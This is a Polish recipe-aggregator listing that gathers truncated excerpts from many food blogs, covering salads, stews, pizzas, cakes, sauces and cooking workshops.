majeranek aromatu. Przepis ze Smacznej Strony Tesco. Polecam!     Sałatka ryżowa z tuńczykiem   Składniki na 6 porcji:   woreczek białego ryżu puszka tuńczyka w sosie własnym puszka czerwonej fasoli 1 cebula 4 łyżki  majonezu przyprawy: sól, pieprz, majeranek   Wykonanie: Ryż gotujemy na sypko, studzimy. Tuńczyka i fasolę odsączamy. Cebulę kroimy w drobną

Smak mojej kuchni
Sticky buns czyli bułeczki z cynamonem w karmelu 164

wzdłuż dłuższego boku. Kroimy na 16 kawałków.   Glazura: wszystkie składniki umieszczamy w rondelku. Podgrzewamy mieszając aż wszystko się rozpuści. Zagotowujemy i podgrzewamy około 4-5 minut, aż sos lekko zgęstnieje. Glazurę wylewamy do formy do pieczenia wysmarowanej masłem. Na glazurę wsypujemy równomiernie orzechy. Odstawiamy do lekkiego przestudzenia.   Na przestudzonym karmelu układamy pokrojone kawałki ciasta w odstępach około

Smak mojej kuchni
Parówki po węgiersku 176

dodajemy koncentrat pomidorowy. Gotujemy kilka minut. Dodajemy parówki, p rzyprawiamy solą, pieprzem i papryką. Gotujemy 10 minut, następnie zagęszczamy mąką ze śmietaną i dodajemy natkę pietruszki. Podgrzewamy, aż sos się zagotuje i zagęści. Podajemy z ryżem lub ziemniaczkami. SMACZNEGO

Smak mojej kuchni
Tarta z mięsem mielonym 167

łyżce masła. Gdy cebula się zeszkli dodajemy mięso mielone, smażymy, aż straci czerwony kolor. Wlewamy pomidory, dodajemy sól, cukier, pieprz i bazylię. Dusimy, aż pomidory się rozpadną i sos zrobi się gęsty i zawiesisty. Pod koniec dodajemy pokrojoną w paseczki paprykę. Dusimy kilka minut i odstawiamy do wystudzenia.   Do wystudzonego farszu dodajemy śmietanę zmieszaną z jajkiem. Mieszamy. Farsz wylewamy

Smak mojej kuchni
Rolada z szynki 174

Moja propozycja nie tylko na świąteczne śniadanie, ale również na wszelkiego rodzaju imprezy rodzinne. Prosta rolada z szynki z nadzieniem serowo - warzywnym. Pięknie się prezentuje, nadzienie w smaku przypomina sos tatarski. Do przygotowania rolady najlepiej kupić duże, okrągłe plastry szynki, pokrojone w grubsze plastry, by nie porwały się w trakcie zwijania i krojenia. Ja dodatkowo smarowałam złączenia szynki żelatyną

Smak mojej kuchni
Łódki z farszem mięsnym 168

straci czerwony kolor. Doprawiamy do smaku solą, pieprzem i oregano. Dodajemy pomidory, paprykę pokrojoną w paski i dusimy razem, aż pomidory zaczną się rozpadać i powstanie gęsty sos. Na końcu dodajemy posiekaną natkę pietruszki.   Ciasto dzielimy na 4 części, każdą rozwałkowujemy na prostokąt grubości 0,5 cm. Na środek każdego kawałka ciasta nakładamy porcję farszu. Końce

Smak mojej kuchni
Wołowina po burgundzku 159

dań wymyślonych przez mężczyznę. Ta prosta potrawa zyskała światową sławę dzięki Augustowi Escoffier, który jest autorem tego przepisu. Mięso po upieczeniu jest bardzo miękkie, wręcz rozpada się. Sos jest gęsty, zawiesisty, aromatyczny. We Francji danie podaje się ze świeżą bagietką, można je również serwować z ziemniakami, kaszą lub gnocchi. Jak dla mnie jest to najlepszy gulasz, jaki kiedykolwiek

Smak mojej kuchni
Terrina z jajkiem i warzywami 1758

200g mieszanki marchew z groszkiem, mrożonej 4 łyżki kukurydzy konserwowej 100g szynki wieprzowej, pokrojonej w kostkę 100ml śmietanki kremówki 5 łyżeczek żelatyny 150ml bulionu warzywnego 4 łyżki majonezu lub sosu majonezowego ziołowego z czosnkiem przyprawy: sól, pieprz Wykonanie: Marchew z groszkiem wrzucamy na gotującą się, osoloną wodę, gotujemy około 5 minut, odsączamy i przelewamy zimną wodą. Warzywa z szynką łączymy

Smak mojej kuchni
Francuskie ślimaczki z łososiem 286

posypane czarnuszką, która ma wiele właściwości zdrowotnych. Czarnuszka idealnie komponuje się z chrupiącym ciastem i łososiem. Do dekoracji można też wykorzystać czarny sezam. Ślimaczki możemy podać na zimno z sosem czosnkowo-ziołowym, ja podałam je jako dodatek do zupy kremu z ciecierzycy. Przepis ze strony Winiary. Polecam! Francuskie ślimaczki  z łososiem Składniki na około 10-12 sztuk: opakowanie ciasta

Smak mojej kuchni
Risotto z tuńczykiem i oliwkami 195

Składniki: szklanka ryżu do risotto 1 cebula ząbek czosnku pół czerwonej papryki 4 pomidory suszone (mogą być z oliwy) garść oliwek zielonych lub czarnych puszka tuńczyka w kawałkach w sosie własnym 700ml bulionu warzywnego przyprawy: sól, pieprz łyżeczka świeżego oregano, posiekanego łyżeczka masła 50g startego parmezanu Wykonanie: Cebulę i czosnek drobno siekamy, podsmażamy na łyżce tłuszczu. Dodajemy suchy ryż

Smak mojej kuchni
Sałatka z makaronem i tuńczykiem 1148

nadaje się również na imprezy ponieważ można ją przygotować z wyprzedzeniem w większej ilości. Sałatka z makaronem i tuńczykiem: Składniki Makaron penne – 300 g 1 puszka tuńczyka w sosie własnym 1 mała puszka kukurydzy 1 mała czerwona cebula 1 średni ogórek 3 łyżki dobrego majonezu Sól i pieprz Przygotowanie Makaron gotujemy według przepisu na opakowaniu, aż będzie al dente

ale Pysznie
KSIĄŻKA „ Z MIŁOŚCI DO SMAKU” 207

proponowanych potraw figurują między innymi: matjas z piklami i musem chrzanowym, rillette z łososia, tarteletki z trzema serami, sałatka z rukwi wodnej, rzodkiewki i kiszonego buraka, pieczone bataty z sosem tatarskim, orkiszowe risotto, zupa prowansalska, zupa z zielonej soczewicy, zapiekana zupa cebulowa, dorsz zapiekany z boczkiem i szałwią, wołowina po burgundzku, oraz kuszące desery: orkiszowa tarta z karmelem z nerkowców

Smaki Francji współczesna kuchnia francuska
Gulasz z indyka z warzywami 207

pieprzem. Gotujemy na małym ogniu przez 20 minut. Po tym czasie dodajemy marchewkę, pieczarki i cukinię. Wszystko gotujemy razem do miękkości mięsa. Śmietanę hartuję z odrobiną gorącego sosu, wlewam do mięsa i chwilę gotuję. Pietruszkę posiekać i dodać do reszt, wymieszać. W razie potrzeby doprawić solą i pieprzem.  Gulasz podałam z kaszą, Smacznego

magiczna kuchnia Kasi
pyszne naleśniki z twarogiem i sosem malinowym... 214

rzepakowy 4 łyżki, mleko 2-2,5 szklanki, woda gazowana 1 szklanka, serek twarogowy śmietankowy 40 dag, śmietana gęsta 18% 100 ml, cukier wanilinowy 2 łyżeczki, cukier 2 łyżki, sos malinowy dr.Oetker - ile potrzeba mąkę tortową, jajka, olej, mleko, wodę, cukier, sól wsypać do naczynia i mikserem dokładnie zmiksować na lejące ciasto, odstawić na 30 minut patelnia naleśnikarka

W Mojej Kuchni Lubię
Sałatka z białej kapusty do obiadu, Colesław 192

paseczki, marchew obrać i zetrzeć na tarce o dużych oczkach, seler naciowy pokroić drobno, cebulę obrać i posiekać. Wszystkie warzywa wrzucić do miski i wymieszać. Przygotowanie sosu – do miseczki wlać olej, sok z cytryny, dodać musztardę, cukier, majonez. Dokładnie wymieszać i wlać do warzyw. Ponownie wymieszać i doprawić solą i pieprzem do smaku. Majonez można zastąpić jogurtem, ale prawdziwy

Kuchnia Pokoleń
Swieza tortilla z meksykanskim akcentem 176

końcu plastry kurczaka. Całość skrapiamy oliwą i dość ciasno zwijamy. Nie jest to trudne, jeśli ułożymy składniki w ten sposób.  Podajemy solo, z salsą lub w towarzystwie ulubionych sosów. Smacznego

Kuchnia od dwojga
Marchew na gęsto 234

marchewką i wodą (marchew odsuwamy na bok) rozpuszczamy masło z mąką. Starannie mieszamy najlepiej trzepaczką, aby nie powstały grudki. Dusimy na małym ogniu, cały czas mieszamy, aż powstanie gęsty sos. Doprawiamy do smaku. Podajemy jako dodatek do dań mięsnych i nie tylko. Warto przygotować marchew na gęsto na dwa dni. Podobnie można zrobić marchew z groszkiem. Zamiast krojenia w kostkę

Moja smaczna kuchnia
Muffinki cebulowe. 174

zdecydowanie należą do kategorii słonych przekąsek. Można je potraktować jako rodzaj bułeczek, a można również podać jako trochę mniej oczywisty dodatek do dań typu gulaszowego lub pieczeni z sosem - zdecydowanie mają szansę sprawdzić się w tej roli. Moje muffiny są dosyć ciemnej karnacji ponieważ użyłem do nich mąki pełnoziarnistej i cukru muscovado. Myślę, że nic nie stoi na przeszkodzie

zadanie-gotowanie
Ryż z pieczarkami i szpinakiem w kremowym sosie 217

Dziś przepis na ryż w wersji bezmięsnej, z pieczarkami i szpinakiem, w bardzo kremowym, jogurtowym sosie:). Danie lekkie i smaczne, może być samodzielnym posiłkiem lub dodatkiem do mięsa. 200g ryżu 500g mrożonego szpinaku 500g pieczarek 2 cebule 300g jogurtu greckiego  2 ząbki czosnku 150g sera cheddar sól, pieprz, papryka słodka olej 1. Ryż gotujemy zgodnie z przepisem na opakowaniu

Szefowa kuchni
Meatzza. Mizza. 176

Meatzza . Mizza. Mięsna pizza , to danie jakiś czas temu zobaczyłam w programie Nigelli Lawson, ale je zmodyfikowałam po swojemu. Nigella do mięsa dodawała parmezan, a mięso posmarowała sosem na bazie pomidorów krojonych z puszki. Ja do mięsa nie dałam parmezanu, za to dodałam domowej roboty prażoną cebulkę , oraz wykorzystałam świeże pomidorki koktajlowe. Według mnie moja meatzza jest smaczniejsza i wygląda

Damsko-męskie spojrzenie na kuchnię
Śniadaniowa kasza manna z owocami dla dzieci 179

utrzeć z cukrem i mąką ziemniaczaną. Mleko zagotować z cukrem waniliowym, wlać cienkim strumieniem do utartych żółtek i mieszać do zgęstnienia. Mannę wyłożyć do salaterki, obłożyć pokrojonymi owocami, polać sosem waniliowym. Deser możemy podawać na zimno i na ciepło

Tradycyjna Kuchnia
Warsztaty kulinarne ryby i owoce morza w Kulinarnych Kreacjach w Krakowie 210

menu i smakowite fotografie z warsztatów: Staropolski krem z raków z kwaśną śmietaną Mule duszone w mleku kokosowym, kolendrą i chilli Roladki z pstrąga ze szpinakiem i orzechami w sosie kurkowym Risotto szafranowe z krewetkami Ilość zdjęć ograniczyłam w miarę możliwości do minimum. Każde danie było fantastyczne. Eksplozja smaków wprawiała nas najpierw w osłupienie, a potem w doskonały humor

Karola gotuje
Wątróbka z indyka z serowym hummusem i balsamico 143

codziennym wydaniu? Elegancko podana z fajnymi warzywami (które udało mi się ostatnio dostać) może być super wykwintnym daniem. Sama wątróbka delikatna, połączona z aromatycznym hummusem, przełamana kwaskowatym smakiem balsamicznego sosu to nader wyjątkowe i fajne połączenie. Spróbujcie koniecznie. Czytaj więcej

Bernika - moj kulinarny pamietnik
Tosty francuskie z chałki, pieczone. Śniadanie na słodko 292

włączamy termoobieg. Paluchy podajemy od razu po upieczeniu, gorące. Z tej ilości składników to dwie dorosłe porcje dla głodnych łakomczuchów, albo dla pary z dzieckiem. Świetnie pasuje do nich sos waniliowy, syrop z agawy, z czarnego bzu, golden syrup, syrop klonowy, melasa, bita śmietana, słodka śmietanka, jogurt grecki i owocowy – i koniecznie dodatek świeżych owoców. Takie poranki to ja rozumiem

Karo in the Kitchen
Karkówka w marynacie musztardowo - pomidorowej 273

Całość mieszamy i dokładamy kotlety. Kotlety układamy pod cebulą. Mięso przykrywamy i dusimy do miękkości. Moje potrzebowało około 90 minut. Jeśli podczas duszenia mięsa, wyparuje za dużo wody i sos zrobi się za gęsty, dolewamy ją (najlepiej gorącą). Smacznego

Smak mojego domu
BURGERY WOŁOWO-JAGLANE Z MANGO 164

pieprz zioła prowansalskie papryka słodka mielona olej do smażenia Dodatkowo: 1/2 mango 1 pomidor 1 ogórek kilka listków sałaty ser żółty bułki do burgerów →  przepis ketchup, majonez, ulubiony sos Wykonanie: Kaszę jaglaną płuczemy kilkakrotnie pod bieżącą wodą. Przenosimy ją do garnka, zalewamy wodą w stosunku 1:2,5, dodajemy kostkę rosołową i gotujemy do momentu, aż kasza wchłonie całą

Kuchnia MagdaLeny
Lekkie curry z bakłażanem i krewetkami 209

kremowej konsystencji. Zaprawdę, połączenie tych wszystkich składników w jednym daniu jest niezwykłe i pozwala zaspokoić kulinarne żądze na pyszności! :D Delikatny bakłażan, chrupiąca fasolka, miękkie krewetki w kremowym sosie o cytrusowej nucie pomarańczy i cały zestaw pikanterii w podstawie curry przenoszą nas do dalekich krajów, w których słońce świeci jaśniej, a bryza morska delikatnie chłodzi twarz. Skosztujcie koniecznie i wybierzcie

Kuchnia w Słońcu Skąpana
Rolada pasztetowa z kaszą jaglaną, szpinakiem i boczkiem 298

doprawiamy solą, pieprzem, granulowanym czosnkiem oraz roztartym w moździerzu tymiankiem z kolendrą. Dodajemy odciśniętą kajzerkę oraz jajka, mieszamy. Jeśli na patelni po smażeniu cielęciny z wątróbką zostało nam trochę sosu, dodajmy go do mięsa (wystarczy 1-2 łyżki, by dodatkowo nawilżyć pasztet). Kaszę jaglaną przepłukujemy naprzemiennie zimną i gorącą wodą, odstawiamy na sicie do odcedzenia. Następnie prażymy kilka minut

Smaki Na Talerzu
Placuszki kokosowe z syropem limonkowym i pomarańczą 194

nieziemskie"potrawy. Czemu więc nie skorzystać z jego pomysłów? Te placki są nietypowe ponieważ mąki kokosowej jest w nich dużo i dzięki temu smakują obłędnie. Do placków sos limonkowy i fileciki z pomarańczy, całość rozpływa się w ustach, polecam. Placuszki kokosowe z syropem limonkowym i pomarańczą. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Zapiekanka z ziemniakami, indykiem, brokułem, cukinią i kukurydzą 251

spód układamy warstwę z ziemniaków, na ziemniaki, indyka, brokuła, cukinię i kukurydzę. Kolejna warstwa tak samo - ziemniaki, indyk, brokuł, cukinia i kukurydza i kończymy na ziemniakach. Całą zapiekanką polewamy sosem (jajko, ser, śmietanka). 3. Piekarnik nagrzewamy do 180 stopni i zapiekamy całość 30 minut. Smacznego

kruche babeczki
Kotlety gryczane z burakiem 146

sprawdzi.  Nie myliłam się, bo prócz koloru, moje kotlety zyskały na wartości ;) Gorzkawy posmak kaszy gryczanej stał się bardziej neutralny.  Tą wersję "mielonych" warto podać z jakimś sosem, u mnie był to po prostu jogurt naturalny. Składniki: 1 woreczek kaszy gryczanej palonej 2 surowe czerwone buraki 2 jajka 2 łyżki mąki Sól, pieprz do smaku 2 łyżki drobnej

Kuchnia w czekoladzie
Paszteciki a'la szczecińskie z parówką (drożdżowe, smażone) 182

musi składać się z samej chemii oraz śladowej ilości mięsa. Naprawdę produkowane są kiełbaski, które zawierają porządne składniki. Wracając jeszcze do pasztecików... Idealnie smakują na ciepło z ulubionym sosem, jako przekąska, czy również samoistny posiłek. U mnie znikają nawet już ostygnięte. Polecam. (Około 10 sztuk w zależności od wielkości) 500g mąki pszennej 1 łyżeczka soli 1 łyżeczka cukru 30g drożdży

Di gotuje
Wiosenna edycja Restaurant Week 2017 – degustacja w NOVO2 Square lounge bar 181

puszysty, rozpływa się w ustach i jest to przepis autorski szefa kuchni. Polecam… Na danie główne mamy do wyboru: – Filet z kaczki sous vide z puree z batatów, sos demiglas, podane na liściach młodej botwinki – Filet z pstrąga na risotto pietruszkowym z paloną młodą marchewką Każde danie było pięknie podane, ciekawe i bardzo nam smakowało. Na przystawkę

Mała Cukierenka
Polędwiczki z borowikami i suszonymi pomidorami w kremowym sosie śmietanowym z winem 294

Następnie dodaj czubatą łyżkę masła, po minucie – śmietanę. Wymieszaj dokładnie i gotuj 2 – 3 minuty. W razie potrzeby – ponownie dopraw. Kaszę / ziemniaki / makaron oraz polędwiczki z sosem wyłóż na talerze. Posyp świeżym tymiankiem i świeżo zmielonym czerwonym pieprzem. Smacznego

Moja pasja smaku
Filet z kurczaka po węgiersku 206

resztę oliwy i wsypałam cebulę, żeby się zeszkliła i czosnek.   Po chwili dodałam pomidory, mięso, a na koniec paprykę. Zostawiłam na gazie jeszcze około 15 minut, żeby wytworzony sos się zagęścił, mięso zmiękło a papryka była al. dente. Wszystko wymieszałam, doprawiłam do smaku solą i pieprzem. Teraz już mogłam gorące danie podać na stół. Do mięsa wybrałam ryż. Polecam

Kuchnia u Krysi
Sałatka z szpinakiem, migdałami i żurawiną z sezamowym winegretem. Ile tak naprawdę żelaza ma szpinak? 258

łyżki oleju sezamowego łyżka sezamu łyżka melasy łyżka octu jabłkowego Sposób przygotowania: Melasę wymieszaj z octem jabłkowym a następnie z olejem sezamowym. Mieszaj dość energicznie by powstał gęsty sos. Na koniec wymieszaj z sezamem oraz szpinakiem. Na wierzch rozsyp żurawinę oraz podpieczone na suchej patelni migdały

wysmienity
Karczek pieczony w ziołach 184

minimum 12 godz. (może być  dłużej). Karczek wstawiamy do piekarnika podlewając wodą i pieczemy 90-100 minut w temperaturze 180 stopni (co jakiś czas obracając i polewając wytworzonym sosem, jeśli woda wyparowała to należy jej podlać). Cebulę kroimy w drobne piórka, po niecałej godzinie pieczenia (45-50 min) dokładamy cebulę i wszystko razem pieczemy. Smacznego

Dieta Rozdzielna i Zdrowie
Rosół 184

około 15 minut i dodajemy warzywa oraz przyprawy. Rosół gotujemy do miękkości mięska. Gotowy podajemy z makaronem i posypujemy natką pietruszki. Rosół to doskonała baza do różnych zup i sosów. Smacznego

Dieta Rozdzielna i Zdrowie
Zapiekanka warzywna z tofu 164

rozkruszonym tofu. Kładziemy drugą warstwę warzyw i też przyprawiamy:solą, pieprzem, tymiankiem i posypujemy natką pietruszki. Czosnek przeciskamy przez praskę, dodajemy oliwę i troszeczkę soli, wszystko razem ucieramy. Powstałym sosem polewamy zapiekankę. Na wierzchu posypujemy startym serem. Zapiekamy przez 25 minut w temperaturze 180 stopni C. Smacznego

Dieta Rozdzielna i Zdrowie
Jak jeść by się najeść w pół kotleta? 221

wczorajszy przepis Agnieszki i zamiłowanie do pozostałości z mojej poprzedniej branży czyli wagi jubilerskiej. Taki jestem dociekliwy i potrafię ważyć wszystko co do grama. Wczorajszy przepis:  Kurczak w sosie musztardowym z pieczarkami      " Lata temu kupowałem udko/ćwiartka  kurczaka na obiad. Dodam, że było to największe udko/ćwiartka w sklepie, ok. 0,9 kg. Po latach

Dieta Rozdzielna i Zdrowie
Przepis: Kotleciki z kaszy jęczmiennej 217

oraz dla tych, którzy jedzą wszystko i chcą urozmaicić swoje menu... 😄 Składniki: 600g kaszy jęczmiennej ugotowanej (grubej) 250g dyni (po odciśnięciu) 1 łyżka majeranku 1 cebula duża 1 łyżka sosu sojowego 0,5 szkl. płatków owsianych 2 łyżki mąki ryżowej (może być inna) tłuszcz do smażenia sól pieprz bułka tarta Przygotowanie: Kaszę gotujemy według przepisu na opakowaniu. Dynię ścieramy

Dieta Rozdzielna i Zdrowie
Mini pizza na specjalne zamówienie 195

ciasto podwoi objętość wyłożyć na oprószony mąką blat i rozwałkować wykroić  okręgi, lub jak tam wolicie. Smaruję sosem pomidorowym z ziołami. Cieniuteńko w piórka siekam cebule , następnie szynkę, pieczarki i na co tylko macie ochotę.  Serem posypuje jak już mini pizze się

Piekarz-Kucharz-Garkotłuk
Sernik z jeżynową galaretką. 250

Zagotuj krótko aby jeżyny się rozpadły. Przetrzyj przez sitko. Pestki wyrzuć . Delikatnie podgrzać żelatynę aż się rozpuści - nie gotować bo straci właściwości zelujące- Dodać żelatynę do ciepłego sosu jeżynowego i dokładnie wymieszać.  Odstawić do lekkiego zgęstnienia. Gęstniejącą galaretkę przelać na ciasto, wyrównać, ozdobić jeżynami. Schłodzić. Smacznego

Piekarz-Kucharz-Garkotłuk
Joshua's recipe for a quick dinner 141

jest tak, że zajęta swoim obowiązkami w biegu podjadam to co Josh przygotuje, ale tym razem postanowiłam go podglądać.  Przedstawiam Wam przepis na szybki, cudownie aromatyczny i smaczny sos.  Możecie dodać do niego makaron, ryż,  ale my zjedliśmy go maczając pszenne tortille. Porcja dla trzech osób 1 czerwona cebula 3 czerwone papryczki chili Mały pęczek kolendry Cztery

Piekarz-Kucharz-Garkotłuk
Wołowinka w warzywach 153

soki. Podgrzewamy 500 ml bulionu i przekładamy do niego podsmażone mięso, pilnując, by do garnka trafiła jak najmniejsza ilość tłuszczu. (Resztę bulionu zachowajcie na wypadek, gdyby w trakcie gotowania sos zbyt mocno się zredukował i była konieczność dolania.) Na nim bowiem podsmażamy cebulę lekko prószoną solą.  Gdy cebulka już będzie zeszklona, dokładamy warzywa i smażymy kilka minut. Następnie wszystko

Pichceniomania
Egzotyczny kurczak pieczony 185

pieczenia i kolejnymi 40 ml likieru kokosowego. Zmniejszamy temperaturę piekarnika. Etap trzeci Temperatura - 180 ºC z termoobiegiem Czas - 25 minut Po tym etapie wyjmujemy brytfankę, polewamy kurczaka kilkoma łyżkami sosu z masła i soków spod pieczenia i wkładamy ponownie do piekarnika. Zmniejszamy temperaturę piekarnika. Etap czwarty Temperatura - 150 ºC z termoobiegiem Czas - 15 minut Po tym etapie kurczak powinien być

Cooking Monster
ZAPIEKANKA Z KASZĄ PĘCZAK I WARZYWAMI 187

kulka mozzarelli olej rzepakowy lub kokosowy do smażenia  Przyprawy: 1 łyżeczka papryki czerwonej ostrej 1 łyżeczka czosnku niedźwiedziego lub granulowanego Sól i pieprz do smaku 1 łyżka sosu sojowego ciemnego PRZYGOTOWANIE: Cukinie i pora myję, kroję w mniejsze kawałki. Na patelni rozgrzewam oleju rzepakowy lub kokosowy, przekładam warzywa, dodaję kukurydzę oraz drobno posiekaną natkę. Duszę ok 2-3 minutt

Gotowanie Patki
Marchewka z groszkiem do obiadu 244

mnie dzisiaj z duszonymi ziemniakami oraz udkiem kurczaka. Kto się skusi? Miłego kucharzenia!😃 Składniki: marchew duża 3  szt, groszek 2 szklanki, masło 5 dag, mąka pszenna 2 łyżki, sos sojowy 1 łyżka, sól, pieprz i cukier do smaku, Sposób przygotowania: Marchew kroimy w kostkę, zalewamy wodą, tak aby marchew była nią przykryta. Następnie stawiamy na palnik i gotujemy

kulinarne odsłony pati
Ciasto na wiosnę. Różowe 211

obserwując ciężko pracującego nad posiłkiem C. Żeby nie było - swój wkład w rzeczony posiłek miałam, w postaci domowych bułek do burgerów. C., poza kwintesencją, czyli mięsem, przygotował też sos grzybowy z porto, który zdetronizował wszystko inne. Był tak pyszny, że - jestem pewna - nie tylko mi śni się po nocach. Później przenieśliśmy się na kanapę, i przy dźwiękach muzyki rozmawialiśmy

Pożeraczka, czyli raz adobrze
Bitki schabowe w sosie szpinakowym 274

cebule 1 kolorowa papryka, u mnie 3 mini papryczki 1 serek pesto i rukola Apetina 150 g szpinaku w brykiecie sól, pieprz 1/2 … Czytaj dalej Bitki schabowe w sosie szpinakowym

czarrna od kuchni
Jak dobrać wino do kolacji? 226

dobrze współgrało z potrawami mięsnymi, cięższymi.   Istnieje jednak kilka wyjątków, na przykład łagodny czerwony Merlot może doskonale harmonizować z daniami z drobiu. Jeśli wino było jednym ze składników sosu, koniecznie podaj do posiłku ten sam gatunek. Jakich połączeń unikać? Wina słodkie podawaj tylko do deserów. Nie łącz czerwonego wina z owocami morza, a do dań z jajek i szpinaku

Tradycyjna Kuchnia
Jajka faszerowane tuńczykiem 216

Wielkanocne śniadanie, ale również doskonała przekąska. Przygotowanie nie zajmuje zbyt wiele czasu, a efekt jest przepyszny! Jajka faszerowane tuńczykiem: Składniki Jajka – 8 sztuk 1 puszka tuńczyka w sosie własnym 2 łyżki majonezu 1 łyżka musztardy sarepskiej Szczypiorek Sól i pieprz Przygotowanie Jajka gotujemy na twardo, hartujemy w zimnej wodzie i od razu obieramy, by skorupka ładnie odeszła. Następnie kroimy

ale Pysznie
Pasta słonecznikowa z suszonymi pomidorami i olejem rzepakowym 244

smażyć i dusić warzywa i mięsa. Nadaje się do pieczenia  ciast, a babki na oleju są wilgotne i długo zachowują świeżość. Jest  podstawą majonezów, dressingów i sosów do sałatek i jajek

Obiad gotowy
Halloumi, berberys i bulgur – sałatka na obiad 392

winogronami i orzechami. Wyłóż na półmisek. Ułóż ser na sałacie. Do małego słoiczka wlej oliwę, miód, ocet. Dodaj berberys, szczyptę soli i zakręć słoik. Wstrząśnij kilka razy . Polej sałatkę sosem tuż przed podaniem. Berberys można zastąpić żurawiną. Żurawina jest słodsza, więc wystarczy jedna łyżka miodu. Żurawina jest większa od berberysu, więc lepiej ją pokroić. Orzechy pekan możecie zamienić na włoskie

codojedzenia
Kokardki z kielbaska 180

nabierze już złotego odcienia. Siekamy natkę pietruszki. Odkładamy odrobinę na bok - posłuży do posypania na talerzu.  Makaron odcedzamy i przekładamy do kiełbasy. Dodajemy pietruszkę i mieszamy, aby powstały sos równomiernie oblepił makaron. Wykładamy na talerz, posypujemy pozostawioną pietruszką i od razu podajemy. Smacznego

Kuchnia od dwojga
Pide z kurczakiem, czarnymi oliwkami, suszonym pomidorem, mozzarella i oregano 305

odstawiamy na 10 minut. 4. Piekarnika nagrzewamy do 190 stopni, pieczemy 30 minut. Ciasto ma się ładnie zarumienić.  5. Wierzch posypujemy dodatkowo suszonym oregano i szczypiorem :-). Podajemy z sosem czosnkowym :-). Smacznego

kruche babeczki
Pizza na cieście francuskim 326

zjadłam tyci tyci, tak na jeden kęs, bo przecież muszę wiedzieć, co Wam tutaj oferuję, nie? Jejku jaka ona była dobra... zwłaszcza z takim domowym sosem czosnkowym... Palce lizać! Składniki:     1 płat ciasta francuskiego 250g sera żółtego w kawałku 3 łyżeczki przecieru pomidorowego 1 łyżeczka bazylii 1 łyżeczka oregano 200g pieczarek 150g szynki konserwowej ½ papryki czerwonej kilka sztuk

Kuchnia w czekoladzie
Kulki z kapusty. 293

lepimy kulki :) Pozostała nam jeszcze kapusta przyda się na surówkę  coleslaw   Smażymy na mocno złoty kolor :) i już ...  Można podawać również na zimno, albo w sosie na gorąco :) Smacznego

chleba naszego
Podudzia z kurczaka w aksamitnym sosie 170

czosnku oraz rozdrobnione kapary. Przykrywamy i dusimy około 10 minut, obracając kurczaka. Na koniec dolewamy przecier pomidorowy i dusimy pod przykryciem jeszcze około 10 minut. Kurczak jest soczysty, aromatyczny, sos cudownie aksamitny

Pichceniomania
Wiosenna zapiekanka ziemniaczana 218

formy Wykonanie: Ziemniaki obrać i ugotować na półmiękko. Jogurt zmiksować z posiekaną bazylią, zmiażdżonym czosnkiem i solą do smaku. Ziemniaki odcedzić, ułożyć w naczyniu żaroodpornym wysmarowanym tłuszczem, zalać przygotowanym sosem, posypać pieprzem, posypać żółtym serem. Wstawić do piekarnika nagrzanego do 180 stopni i zapiec przez 25 minut. Przed podaniem posypać świeżą natką pietruszki. Inne przepisy na zapiekanki ziemniaczane--> tutaj

Tradycyjna Kuchnia
Sernik wiedeński 204

końcu wyciągam na kuchenną kratkę, aż wystudzi się całkowicie). Smakuje dobrze zarówno mocno schłodzony w lodówce, jak i ciepły, podgrzany np. w mikrofalówce i podany z frużeliną wiśniową lub sosem owocowym. * zdecydowanie nie pasuje mi określenie "ciasto" do serników ;) ** ładniej się prezentuje, choć akurat nie miałam, bo piekłam w Łodzi i wlałam do prostokątnej źródło: Ciasta jak u mamy

Słodkie inspiracje
Lody speculoos 195

Bardzo dobre, puszyste lody bez jajek i bez maszyny na bazie kremu speculoos (prosty, trzyskładnikowy przepis znajdziecie tutaj - klik). Polane ciepłym sosem czekladowym (gorzka czekolada + kremówka) smakują wybornie. Składniki 500 ml schłodzonej śmietany kremówki 150 g kremu speculoos 2/3 szklanki cukru pudru kilka pokruszonych ciasteczek speculoos Wszystkie składniki prócz ciasteczek zmiksować mikserem na jednolitą masę. Przelać do pudełka z przykryciem

Słodkie inspiracje
Krem sernikowy z frużeliną żurawinową 216

pucharków. Białko ubić na sztywno ze szczyptą soli. Żółtko utrzeć z cukrem z wanilią, dodać serek, zmiksować i delikatnie dodać białko, wymieszać łyżką. Wyłożyć na ciasteczka. Polać sosem żurawinowym i podawać

Słodkie inspiracje
Kapusta z fasolą i cielęciną 150

obiady na początek tygodnia to zwykle są to pożywne zupy albo jednogarnkowce. Gotowana kapusta na różne sposoby to jeden z moich częstych patentów. Robię ją zawsze w sosie pomidorowym z koperkiem, czasem dodaję do niej mięso, czasem fasolę. To idealne danie na takie weekendowe gotowanie z myślą o tygodniu – bo wrzuca się wszystko do gara i całość sama się

Cooking for Emily
Tagliatelle z łososiem i cukinią 213

dente. Dodajemy łososia i podsmażamy całość, aż łosoś zmieni swój kolor. Zmniejszamy ogień i dodajemy jogurt naturalny. Całość mieszamy i doprawiamy do smaku solą i pieprzem. Na patelnie do sosu dodajemy świeżo ugotowany makaron i całość mieszamy. Myślę, że tagliatelle z łososiem i cukinią to będzie przysmak nie tylko dla wegetarian. Sprawdźcie przepis i czekam na Wasze opinie. Smacznego! Post

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka ryżowa z kurczakiem, jajkami i serem Korycińskim. 203

Zapraszam dzisiaj na pyszną sałatkę ryżową z kurczakiem, jajkami, serem Korycińskim i wyśmienitym majonezem firmy FolWark . Niedługo święta więc pyszne sosy i majonezy do jajek i sałatek Wam się przydadzą, a jeśli majonezy to tylko FolWark :) zapraszam na stronę internetową - http://folwark.com.pl/produkty/majonez-kremowy/ . 1 kubek ryżu 2 piersi z kurczaka 1 malutki słoiczek  sera Korycińskiego w przyprawach w oleju

Sama słodycz i szczypta chili
Ciasto na pizze - przepis II 238

ciasto. Przykrywamy ściereczką i odstawiamy do wyrośnięcia na ok. 1h. Wyrośnięte ciasto wyjąć na stolnicę i chwilę zagnieść. Ciasto rozciągamy rękoma na blasze lub wałkiem do pożądanej wielkości :) Smarujemy sosem, układamy ulubione dodatki, u mnie były to na jednej połowie pieczarki, następnie starty ser, szynka, kukurydza i ponownie ser i na wierzchu zioła prowansalskie.  Tak przygotowaną pizzę wkładamy nagrzanego

Gotuj z Mąką
Najlepsza pasta jajeczna 364

